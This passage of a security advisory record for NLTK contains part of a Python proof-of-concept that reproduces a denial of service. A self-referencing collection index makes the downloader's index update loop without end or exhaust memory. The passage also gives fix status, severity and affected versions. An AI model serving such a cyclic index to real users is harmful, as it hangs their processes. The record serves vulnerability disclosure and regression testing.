os.path.join(workdir, \"site\")\n    subprocess.run(\n        [sys.executable, \"-m\", \"pip\", \"install\", \"--quiet\", \"--target\", site, wheel],\n        check=True,\n    )\n    env = dict(os.environ)\n    env[\"PYTHONPATH\"] = site + (os.pathsep + env[\"PYTHONPATH\"] if env.get(\"PYTHONPATH\") else \"\")\n    return env, site\n\n\ndef run_child(env, script, mode, url, workdir):\n    cmd = [sys.executable, script, \"--child\", mode, url, workdir]\n    start = time.monotonic()\n    try:\n        proc = subprocess.run(\n            cmd,\n            env=env,\n            capture_output=True,\n            text=True,\n            timeout=CHILD_TIMEOUT,\n        )\n        timed_out = False\n    except subprocess.TimeoutExpired as exc:\n        proc = exc\n        timed_out = True\n    elapsed = time.monotonic() - start\n    stdout = proc.stdout if hasattr(proc, \"stdout\") else \"\"\n    stderr = proc.stderr if hasattr(proc, \"stderr\") else \"\"\n    return timed_out, getattr(proc, \"returncode\", None), stdout, stderr, elapsed\n\n\ndef main():\n    results = []\n\n    def check(name, cond, detail=\"\"):\n        results.append(bool(cond))\n        print(\"[%s] %s%s\" % (\"PASS\" if cond else \"FAIL\", name, (\"  (%s)\" % detail if detail else \"\")))\n\n    with tempfile.TemporaryDirectory(prefix=\"nltk_cycle_\") as workdir:\n        cyclic_path = os.path.join(workdir, \"index_cyclic.xml\")\n        acyclic_path = os.path.join(workdir, \"index_acyclic.xml\")\n        with open(cyclic_path, \"w\") as fh:\n            fh.write(CYCLIC_INDEX)\n        with open(acyclic_path, \"w\") as fh:\n            fh.write(ACYCLIC_INDEX)\n        cyclic_url = \"file://\" + cyclic_path\n        acyclic_url = \"file://\" + acyclic_path\n\n        # --- Input modeling preconditions -------------------------------\n        cyc = ElementTree.parse(cyclic_path).getroot()\n        col = cyc.find(\"collections/collection\")\n        check(\n            \"precondition: cyclic index has a self-referencing <collection>\",\n            col is not None and col.get(\"id\") == \"a\"\n            and any((it.get(\"ref\") == \"a\" for it in col.findall(\"item\"))),\n            \"ref='a' inside <collection id='a'>\",\n        )\n        acy = ElementTree.parse(acyclic_path).getroot()\n        cola = acy.find(\"collections/collection\")\n        check(\n            \"precondition: acyclic control index references only packages\",\n            cola is not None and [it.get(\"ref\") for it in cola.findall(\"item\")] == [\"p1\"],\n        )\n\n        env, site = build_site_env(workdir)\n        if env is None:\n            print(\"FAIL: nltk is not importable and NLTK_WHEEL is unset\", file=sys.stderr)\n            return 1\n        child_env = dict(env)\n        child_env[\"NLTK_CHILD_MEMCAP_MIB\"] = str(MEMCAP_MIB)\n\n        # --- Control: acyclic index completes under the same memory cap ---\n        t, rc, out, err, el = run_child(child_env, __file__, \"control\", acyclic_url, workdir)\n        print(\"[control] returned rc=%s in %.1fs%s\" % (rc, el, \" (TIMEOUT)\" if t else \"\"))\n        if out:\n            print(out, end=\"\")\n        if err:\n            print(err, end=\"\")\n        check(\n            \"control: acyclic index completes and yields the documented finite closure\",\n            (not t) and rc == 0 and \"collection 'a' closure = ['p1']\" in (out + err),\n            \"rc=%s\" % rc,\n        )\n\n        # --- Attack: cyclic index must NOT complete ----------------------\n        t, rc, out, err, el = run_child(child_env, __file__, \"attack\", cyclic_url, workdir)\n        print(\"[attack] rc=%s after %.1fs%s\" % (rc, el, \" (still running at timeout)\" if t else \"\"))\n        if out:\n            print(out, end=\"\")\n        if err:\n            print(err, end=\"\")\n        if t:\n            check(\n                \"attack: self-referencing index hangs _update_index past the %ss timeout\" % CHILD_TIMEOUT,\n                True,\n                \"process still running, queue growing unboundedly\",\n            )\n        elif rc is not None and rc != 0:\n            memory = \"MemoryError\" in (out + err) or \"MemoryError\" in err\n            check(\n                \"attack: self-referencing index is not completed -- process aborted by the %s MiB address-space cap (unbounded queue growth)\" % MEMCAP_MIB,\n                memory,\n                \"rc=%s, %s\" % (rc, \"MemoryError\" if memory else \"non-zero exit\"),\n            )\n        else:\n            check(\n                \"attack: self-referencing index hangs _update_index (vulnerability reproduced)\",\n                False,\n                \"function returned -- cyclic input was handled\",\n            )\n\n        # --- Version banner ---------------------------------------------\n        ver_out = subprocess.run(\n            [sys.executable, \"-c\", \"import nltk; print(nltk.__version__)\"],\n            env=env,\n            capture_output=True,\n            text=True,\n        ).stdout.strip()\n        print(\"nltk under test: %s\" % (ver_out or \"unknown\"))\n\n    passed = sum(results)\n    failed = len(results) - passed\n    print(\"RESULT %d/%d checks passed, %d failed\" % (passed, len(results), failed))\n    return 0 if failed == 0 else 1\n\n\nif __name__ == \"__main__\":\n    if len(sys.argv) >= 2 and sys.argv[1] == \"--child\":\n        os.execv(sys.executable, [sys.executable, \"-c\", textwrap.dedent(CHILD_DRIVER)] + sys.argv[2:])\n    sys.exit(main())\n```\n\n\n## Fix status (2026-09-28)\n\nStatus: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix).\n\nPR: #3767 \"Prevent infinite loop from cyclic collection indices\" (ekaf), merged 2026-08-20, merge commit d2eb09a5b on develop. Fix commit: b77d329db (the downloader walks the collection closure with nltk.util.acyclic_breadth_first).\n\nProbe: nltk/test/unit/security_probes/ghsa_pcm8_fqjx_rvx8.py (added in d53d0b790 on that PR); verdict on develop 2fa3f48fe: FIXED (cyclic collection graphs terminate: self, mutual, chain, diamond).\n\nRelease: none yet; no release tag contains b77d329db.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "nltk"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.6.7"
      }, {
        "fixed" : "3.10.4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nltk/nltk/security/advisories/GHSA-pcm8-fqjx-rvx8"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-128140"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nltk/nltk/pull/3767"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nltk/nltk/commit/b77d329db934711e053520588b22b4ac73539fa2"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nltk/nltk"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nltk/nltk/releases/tag/v3.10.4"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-835" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-11-19T23:54:33Z",
    "nvd_published_at" : "2026-11-19T18:18:06Z"
  }
}